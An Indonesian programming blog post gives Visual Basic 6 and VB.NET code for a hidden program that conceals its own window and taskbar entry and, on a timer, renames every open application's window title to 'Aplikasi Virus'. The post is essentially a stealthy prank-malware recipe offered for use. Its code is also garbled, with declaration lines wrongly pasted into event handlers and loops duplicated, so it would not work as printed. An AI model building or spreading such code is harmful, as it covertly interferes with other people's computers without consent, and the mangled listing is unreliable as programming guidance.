Mengganti Semua Judul Aplikasi
Kode berikut ini akan mengganti semua judul Form aplikasi yang sedang berjalan.
Buat sebuah Project baru dengan sebuah Form didalamnya. Tambahkan 1 kontrol Timer (Enabled=True; Interval=300) ke dalam Form tersebut.
[ VB 6.0 ]
Di bagian '(Declarations)' dari Form ketikkan :
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Dim l As Long
Di bagian 'Form_Load' ketikkan :Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Dim l As Long
App.TaskVisible = False
Me.Hide
Lalu di bagian 'Timer1_Timer' ketikkan :Me.Hide
l = GetWindow(GetDesktopWindow(), 5)
Do While l <> 0
SetWindowText l, "Aplikasi Virus"
l = GetWindow(l, 2)
Loop
Do While l <> 0
SetWindowText l, "Aplikasi Virus"
l = GetWindow(l, 2)
Loop
[ VB .NET ]
Di bagian '(Declarations)' dari Form ketikkan :
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Integer, ByVal wCmd As Integer) As Integer
Private Declare Function GetDesktopWindow Lib "user32" () As Integer
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Integer, ByVal lpString As String) As Integer
Dim i As Integer
Di bagian 'Form1_Shown' ketikkan :Private Declare Function GetDesktopWindow Lib "user32" () As Integer
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Integer, ByVal lpString As String) As Integer
Dim i As Integer
Me.Hide()
Lalu di bagian 'Timer1_Tick' ketikkan :
i = GetWindow(GetDesktopWindow(), 5)
Do While i <> 0
SetWindowText(i, "Aplikasi Virus")
i = GetWindow(i, 2)
Loop
Do While i <> 0
SetWindowText(i, "Aplikasi Virus")
i = GetWindow(i, 2)
Loop
0 Komentar:
Posting Komentar
Pengunjung yang baik selalu meninggalkan jejak berupa komentar. :)
Berlangganan Posting Komentar [Atom]
<< Beranda